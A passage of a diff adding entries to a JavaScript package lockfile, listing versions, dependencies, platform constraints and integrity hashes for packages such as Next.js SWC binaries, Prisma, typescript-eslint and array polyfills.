"@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@14.2.33", "", { "os": "linux", "cpu": "arm64" }, "sha512-Bm+QulsAItD/x6Ih8wGIMfRJy4G73tu1HJsrccPW6AfqdZd0Sfm5Imhgkgq2+kly065rYMnCOxTBvmvFY1BKfg=="], + + "@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@14.2.33", "", { "os": "linux", "cpu": "x64" }, "sha512-FnFn+ZBgsVMbGDsTqo8zsnRzydvsGV8vfiWwUo1LD8FTmPTdV+otGSWKc4LJec0oSexFnCYVO4hX8P8qQKaSlg=="], + + "@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@14.2.33", "", { "os": "linux", "cpu": "x64" }, "sha512-345tsIWMzoXaQndUTDv1qypDRiebFxGYx9pYkhwY4hBRaOLt8UGfiWKr9FSSHs25dFIf8ZqIFaPdy5MljdoawA=="], + + "@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@14.2.33", "", { "os": "win32", "cpu": "arm64" }, "sha512-nscpt0G6UCTkrT2ppnJnFsYbPDQwmum4GNXYTeoTIdsmMydSKFz9Iny2jpaRupTb+Wl298+Rh82WKzt9LCcqSQ=="], + + "@next/swc-win32-ia32-msvc": ["@next/swc-win32-ia32-msvc@14.2.33", "", { "os": "win32", "cpu": "ia32" }, "sha512-pc9LpGNKhJ0dXQhZ5QMmYxtARwwmWLpeocFmVG5Z0DzWq5Uf0izcI8tLc+qOpqxO1PWqZ5A7J1blrUIKrIFc7Q=="], + + "@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@14.2.33", "", { "os": "win32", "cpu": "x64" }, "sha512-nOjfZMy8B94MdisuzZo9/57xuFVLHJaDj5e/xrduJp9CV2/HrfxTRH2fbyLe+K9QT41WBLUd4iXX3R7jBp0EUg=="], + + "@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="], + + "@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="], + + "@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="], + + "@nolyfill/is-core-module": ["@nolyfill/is-core-module@1.0.39", "", {}, "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA=="], + + "@panva/hkdf": ["@panva/hkdf@1.2.1", "", {}, "sha512-6oclG6Y3PiDFcoyk8srjLfVKyMfVCKJ27JwNPViuXziFpmdz+MZnZN/aKY0JGXgYuO/VghU0jcOAZgWXZ1Dmrw=="], + + "@pkgjs/parseargs": ["@pkgjs/parseargs@0.11.0", "", {}, "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg=="], + + "@prisma/adapter-pg": ["@prisma/adapter-pg@7.4.2", "", { "dependencies": { "@prisma/driver-adapter-utils": "7.4.2", "pg": "^8.16.3", "postgres-array": "3.0.4" } }, "sha512-oUo2Zhe9Tf6YwVL8kLPuOLTK1Z2pwi/Ua77t2PuGyBan2w7shRKqHvYK+3XXmRH9RWhPJ4SMtHZKpNo6Ax/4bQ=="], + + "@prisma/client": ["@prisma/client@7.4.2", "", { "dependencies": { "@prisma/client-runtime-utils": "7.4.2" }, "peerDependencies": { "prisma": "*", "typescript": ">=5.4.0" } }, "sha512-ts2mu+cQHriAhSxngO3StcYubBGTWDtu/4juZhXCUKOwgh26l+s4KD3vT2kMUzFyrYnll9u/3qWrtzRv9CGWzA=="], + + "@prisma/client-runtime-utils": ["@prisma/client-runtime-utils@7.4.2", "", {}, "sha512-cID+rzOEb38VyMsx5LwJMEY4NGIrWCNpKu/0ImbeooQ2Px7TI+kOt7cm0NelxUzF2V41UVVXAmYjANZQtCu1/Q=="], + + "@prisma/config": ["@prisma/config@7.4.2", "", { "dependencies": { "c12": "3.1.0", "deepmerge-ts": "7.1.5", "effect": "3.18.4", "empathic": "2.0.0" } }, "sha512-CftBjWxav99lzY1Z4oDgomdb1gh9BJFAOmWF6P2v1xRfXqQb56DfBub+QKcERRdNoAzCb3HXy3Zii8Vb4AsXhg=="], + + "@prisma/debug": ["@prisma/debug@7.4.2", "", {}, "sha512-aP7qzu+g/JnbF6U69LMwHoUkELiserKmWsE2shYuEpNUJ4GrtxBCvZwCyCBHFSH2kLTF2l1goBlBh4wuvRq62w=="], + + "@prisma/dev": ["@prisma/dev@0.20.0", "", { "dependencies": { "@electric-sql/pglite": "0.3.15", "@electric-sql/pglite-socket": "0.0.20", "@electric-sql/pglite-tools": "0.2.20", "@hono/node-server": "1.19.9", "@mrleebo/prisma-ast": "0.13.1", "@prisma/get-platform": "7.2.0", "@prisma/query-plan-executor": "7.2.0", "foreground-child": "3.3.1", "get-port-please": "3.2.0", "hono": "4.11.4", "http-status-codes": "2.3.0", "pathe": "2.0.3", "proper-lockfile": "4.1.2", "remeda": "2.33.4", "std-env": "3.10.0", "valibot": "1.2.0", "zeptomatch": "2.1.0" } }, "sha512-ovlBYwWor0OzG+yH4J3Ot+AneD818BttLA+Ii7wjbcLHUrnC4tbUPVGyNd3c/+71KETPKZfjhkTSpdS15dmXNQ=="], + + "@prisma/driver-adapter-utils": ["@prisma/driver-adapter-utils@7.4.2", "", { "dependencies": { "@prisma/debug": "7.4.2" } }, "sha512-REdjFpT/ye9KdDs+CXAXPIbMQkVLhne9G5Pe97sNY4Ovx4r2DAbWM9hOFvvB1Oq8H8bOCdu0Ri3AoGALquQqVw=="], + + "@prisma/engines": ["@prisma/engines@7.4.2", "", { "dependencies": { "@prisma/debug": "7.4.2", "@prisma/engines-version": "7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", "@prisma/fetch-engine": "7.4.2", "@prisma/get-platform": "7.4.2" } }, "sha512-B+ZZhI4rXlzjVqRw/93AothEKOU5/x4oVyJFGo9RpHPnBwaPwk4Pi0Q4iGXipKxeXPs/dqljgNBjK0m8nocOJA=="], + + "@prisma/engines-version": ["@prisma/engines-version@7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", "", {}, "sha512-5FIKY3KoYQlBuZC2yc16EXfVRQ8HY+fLqgxkYfWCtKhRb3ajCRzP/rPeoSx11+NueJDANdh4hjY36mdmrTcGSg=="], + + "@prisma/fetch-engine": ["@prisma/fetch-engine@7.4.2", "", { "dependencies": { "@prisma/debug": "7.4.2", "@prisma/engines-version": "7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", "@prisma/get-platform": "7.4.2" } }, "sha512-f/c/MwYpdJO7taLETU8rahEstLeXfYgQGlz5fycG7Fbmva3iPdzGmjiSWHeSWIgNnlXnelUdCJqyZnFocurZuA=="], + + "@prisma/get-platform": ["@prisma/get-platform@7.2.0", "", { "dependencies": { "@prisma/debug": "7.2.0" } }, "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA=="], + + "@prisma/query-plan-executor": ["@prisma/query-plan-executor@7.2.0", "", {}, "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ=="], + + "@prisma/studio-core": ["@prisma/studio-core@0.13.1", "", { "peerDependencies": { "@types/react": "^18.0.0 || ^19.0.0", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" } }, "sha512-agdqaPEePRHcQ7CexEfkX1RvSH9uWDb6pXrZnhCRykhDFAV0/0P3d07WtfiY8hZWb7oRU4v+NkT4cGFHkQJIPg=="], + + "@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="], + + "@rushstack/eslint-patch": ["@rushstack/eslint-patch@1.16.1", "", {}, "sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag=="], + + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + + "@swc/counter": ["@swc/counter@0.1.3", "", {}, "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="], + + "@swc/helpers": ["@swc/helpers@0.5.5", "", { "dependencies": { "@swc/counter": "^0.1.3", "tslib": "^2.4.0" } }, "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A=="], + + "@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + + "@types/bcryptjs": ["@types/bcryptjs@2.4.6", "", {}, "sha512-9xlo6R2qDs5uixm0bcIqCeMCE6HiQsIyel9KQySStiyqNl2tnj2mP3DX1Nf56MD6KMenNNlBBsy3LJ7gUEQPXQ=="], + + "@types/json5": ["@types/json5@0.0.29", "", {}, "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="], + + "@types/node": ["@types/node@20.19.35", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-Uarfe6J91b9HAUXxjvSOdiO2UPOKLm07Q1oh0JHxoZ1y8HoqxDAu3gVrsrOHeiio0kSsoVBt4wFrKOm0dKxVPQ=="], + + "@types/papaparse": ["@types/papaparse@5.5.2", "", { "dependencies": { "@types/node": "*" } }, "sha512-gFnFp/JMzLHCwRf7tQHrNnfhN4eYBVYYI897CGX4MY1tzY9l2aLkVyx2IlKZ/SAqDbB3I1AOZW5gTMGGsqWliA=="], + + "@types/pg": ["@types/pg@8.18.0", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-gT+oueVQkqnj6ajGJXblFR4iavIXWsGAFCk3dP4Kki5+a9R4NMt0JARdk6s8cUKcfUoqP5dAtDSLU8xYUTFV+Q=="], + + "@types/prop-types": ["@types/prop-types@15.7.15", "", {}, "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw=="], + + "@types/qrcode": ["@types/qrcode@1.5.6", "", { "dependencies": { "@types/node": "*" } }, "sha512-te7NQcV2BOvdj2b1hCAHzAoMNuj65kNBMz0KBaxM6c3VGBOhU0dURQKOtH8CFNI/dsKkwlv32p26qYQTWoB5bw=="], + + "@types/react": ["@types/react@18.3.28", "", { "dependencies": { "@types/prop-types": "*", "csstype": "^3.2.2" } }, "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw=="], + + "@types/react-dom": ["@types/react-dom@18.3.7", "", { "peerDependencies": { "@types/react": "^18.0.0" } }, "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ=="], + + "@typescript-eslint/eslint-plugin": ["@typescript-eslint/eslint-plugin@8.56.1", "", { "dependencies": { "@eslint-community/regexpp": "^4.12.2", "@typescript-eslint/scope-manager": "8.56.1", "@typescript-eslint/type-utils": "8.56.1", "@typescript-eslint/utils": "8.56.1", "@typescript-eslint/visitor-keys": "8.56.1", "ignore": "^7.0.5", "natural-compare": "^1.4.0", "ts-api-utils": "^2.4.0" }, "peerDependencies": { "@typescript-eslint/parser": "^8.56.1", "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.0.0" } }, "sha512-Jz9ZztpB37dNC+HU2HI28Bs9QXpzCz+y/twHOwhyrIRdbuVDxSytJNDl6z/aAKlaRIwC7y8wJdkBv7FxYGgi0A=="], + + "@typescript-eslint/parser": ["@typescript-eslint/parser@8.56.1", "", { "dependencies": { "@typescript-eslint/scope-manager": "8.56.1", "@typescript-eslint/types": "8.56.1", "@typescript-eslint/typescript-estree": "8.56.1", "@typescript-eslint/visitor-keys": "8.56.1", "debug": "^4.4.3" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.0.0" } }, "sha512-klQbnPAAiGYFyI02+znpBRLyjL4/BrBd0nyWkdC0s/6xFLkXYQ8OoRrSkqacS1ddVxf/LDyODIKbQ5TgKAf/Fg=="], + + "@typescript-eslint/project-service": ["@typescript-eslint/project-service@8.56.1", "", { "dependencies": { "@typescript-eslint/tsconfig-utils": "^8.56.1", "@typescript-eslint/types": "^8.56.1", "debug": "^4.4.3" }, "peerDependencies": { "typescript": ">=4.8.4 <6.0.0" } }, "sha512-TAdqQTzHNNvlVFfR+hu2PDJrURiwKsUvxFn1M0h95BB8ah5jejas08jUWG4dBA68jDMI988IvtfdAI53JzEHOQ=="], + + "@typescript-eslint/scope-manager": ["@typescript-eslint/scope-manager@8.56.1", "", { "dependencies": { "@typescript-eslint/types": "8.56.1", "@typescript-eslint/visitor-keys": "8.56.1" } }, "sha512-YAi4VDKcIZp0O4tz/haYKhmIDZFEUPOreKbfdAN3SzUDMcPhJ8QI99xQXqX+HoUVq8cs85eRKnD+rne2UAnj2w=="], + + "@typescript-eslint/tsconfig-utils": ["@typescript-eslint/tsconfig-utils@8.56.1", "", { "peerDependencies": { "typescript": ">=4.8.4 <6.0.0" } }, "sha512-qOtCYzKEeyr3aR9f28mPJqBty7+DBqsdd63eO0yyDwc6vgThj2UjWfJIcsFeSucYydqcuudMOprZ+x1SpF3ZuQ=="], + + "@typescript-eslint/type-utils": ["@typescript-eslint/type-utils@8.56.1", "", { "dependencies": { "@typescript-eslint/types": "8.56.1", "@typescript-eslint/typescript-estree": "8.56.1", "@typescript-eslint/utils": "8.56.1", "debug": "^4.4.3", "ts-api-utils": "^2.4.0" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.0.0" } }, "sha512-yB/7dxi7MgTtGhZdaHCemf7PuwrHMenHjmzgUW1aJpO+bBU43OycnM3Wn+DdvDO/8zzA9HlhaJ0AUGuvri4oGg=="], + + "@typescript-eslint/types": ["@typescript-eslint/types@8.56.1", "", {}, "sha512-dbMkdIUkIkchgGDIv7KLUpa0Mda4IYjo4IAMJUZ+3xNoUXxMsk9YtKpTHSChRS85o+H9ftm51gsK1dZReY9CVw=="], + + "@typescript-eslint/typescript-estree": ["@typescript-eslint/typescript-estree@8.56.1", "", { "dependencies": { "@typescript-eslint/project-service": "8.56.1", "@typescript-eslint/tsconfig-utils": "8.56.1", "@typescript-eslint/types": "8.56.1", "@typescript-eslint/visitor-keys": "8.56.1", "debug": "^4.4.3", "minimatch": "^10.2.2", "semver": "^7.7.3", "tinyglobby": "^0.2.15", "ts-api-utils": "^2.4.0" }, "peerDependencies": { "typescript": ">=4.8.4 <6.0.0" } }, "sha512-qzUL1qgalIvKWAf9C1HpvBjif+Vm6rcT5wZd4VoMb9+Km3iS3Cv9DY6dMRMDtPnwRAFyAi7YXJpTIEXLvdfPxg=="], + + "@typescript-eslint/utils": ["@typescript-eslint/utils@8.56.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.9.1", "@typescript-eslint/scope-manager": "8.56.1", "@typescript-eslint/types": "8.56.1", "@typescript-eslint/typescript-estree": "8.56.1" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.0.0" } }, "sha512-HPAVNIME3tABJ61siYlHzSWCGtOoeP2RTIaHXFMPqjrQKCGB9OgUVdiNgH7TJS2JNIQ5qQ4RsAUDuGaGme/KOA=="], + + "@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.56.1", "", { "dependencies": { "@typescript-eslint/types": "8.56.1", "eslint-visitor-keys": "^5.0.0" } }, "sha512-KiROIzYdEV85YygXw6BI/Dx4fnBlFQu6Mq4QE4MOH9fFnhohw6wX/OAvDY2/C+ut0I3RSPKenvZJIVYqJNkhEw=="], + + "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], + + "@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="], + + "@unrs/resolver-binding-android-arm64": ["@unrs/resolver-binding-android-arm64@1.11.1", "", { "os": "android", "cpu": "arm64" }, "sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g=="], + + "@unrs/resolver-binding-darwin-arm64": ["@unrs/resolver-binding-darwin-arm64@1.11.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g=="], + + "@unrs/resolver-binding-darwin-x64": ["@unrs/resolver-binding-darwin-x64@1.11.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ=="], + + "@unrs/resolver-binding-freebsd-x64": ["@unrs/resolver-binding-freebsd-x64@1.11.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw=="], + + "@unrs/resolver-binding-linux-arm-gnueabihf": ["@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1", "", { "os": "linux", "cpu": "arm" }, "sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw=="], + + "@unrs/resolver-binding-linux-arm-musleabihf": ["@unrs/resolver-binding-linux-arm-musleabihf@1.11.1", "", { "os": "linux", "cpu": "arm" }, "sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw=="], + + "@unrs/resolver-binding-linux-arm64-gnu": ["@unrs/resolver-binding-linux-arm64-gnu@1.11.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ=="], + + "@unrs/resolver-binding-linux-arm64-musl": ["@unrs/resolver-binding-linux-arm64-musl@1.11.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w=="], + + "@unrs/resolver-binding-linux-ppc64-gnu": ["@unrs/resolver-binding-linux-ppc64-gnu@1.11.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA=="], + + "@unrs/resolver-binding-linux-riscv64-gnu": ["@unrs/resolver-binding-linux-riscv64-gnu@1.11.1", "", { "os": "linux", "cpu": "none" }, "sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ=="], + + "@unrs/resolver-binding-linux-riscv64-musl": ["@unrs/resolver-binding-linux-riscv64-musl@1.11.1", "", { "os": "linux", "cpu": "none" }, "sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew=="], + + "@unrs/resolver-binding-linux-s390x-gnu": ["@unrs/resolver-binding-linux-s390x-gnu@1.11.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg=="], + + "@unrs/resolver-binding-linux-x64-gnu": ["@unrs/resolver-binding-linux-x64-gnu@1.11.1", "", { "os": "linux", "cpu": "x64" }, "sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w=="], + + "@unrs/resolver-binding-linux-x64-musl": ["@unrs/resolver-binding-linux-x64-musl@1.11.1", "", { "os": "linux", "cpu": "x64" }, "sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA=="], + + "@unrs/resolver-binding-wasm32-wasi": ["@unrs/resolver-binding-wasm32-wasi@1.11.1", "", { "dependencies": { "@napi-rs/wasm-runtime": "^0.2.11" }, "cpu": "none" }, "sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ=="], + + "@unrs/resolver-binding-win32-arm64-msvc": ["@unrs/resolver-binding-win32-arm64-msvc@1.11.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw=="], + + "@unrs/resolver-binding-win32-ia32-msvc": ["@unrs/resolver-binding-win32-ia32-msvc@1.11.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ=="], + + "@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="], + + "acorn": ["acorn@8.16.0", "", { "bin": "bin/acorn" }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="], + + "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], + + "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="], + + "ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], + + "any-promise": ["any-promise@1.3.0", "", {}, "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="], + + "anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="], + + "arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="], + + "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], + + "aria-query": ["aria-query@5.3.2", "", {}, "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw=="], + + "array-buffer-byte-length": ["array-buffer-byte-length@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "is-array-buffer": "^3.0.5" } }, "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw=="], + + "array-includes": ["array-includes@3.1.9", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-abstract": "^1.24.0", "es-object-atoms": "^1.1.1", "get-intrinsic": "^1.3.0", "is-string": "^1.1.1", "math-intrinsics": "^1.1.0" } }, "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ=="], + + "array.prototype.findlast": ["array.prototype.findlast@1.2.5", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-shim-unscopables": "^1.0.2" } }, "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ=="], + + "array.prototype.findlastindex": ["array.prototype.findlastindex@1.2.6", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-abstract": "^1.23.9", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "es-shim-unscopables": "^1.1.0" } }, "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ=="], + + "array.prototype.flat": ["array.prototype.flat@1.3.3", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-shim-unscopables": "^1.0.2" } }, "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg=="], + + "array.prototype.flatmap": ["array.prototype.flatmap@1.3.3", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-shim-unscopables": "^1.0.2" } }, "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg=="], + + "array.prototype.tosorted": ["array.prototype.tosorted@1.1.4", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.3", "es-errors": "^1.3.0", "es-shim-unscopables": "^1.0.2" } }, "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA=="], + + "arraybuffer.prototype.slice": 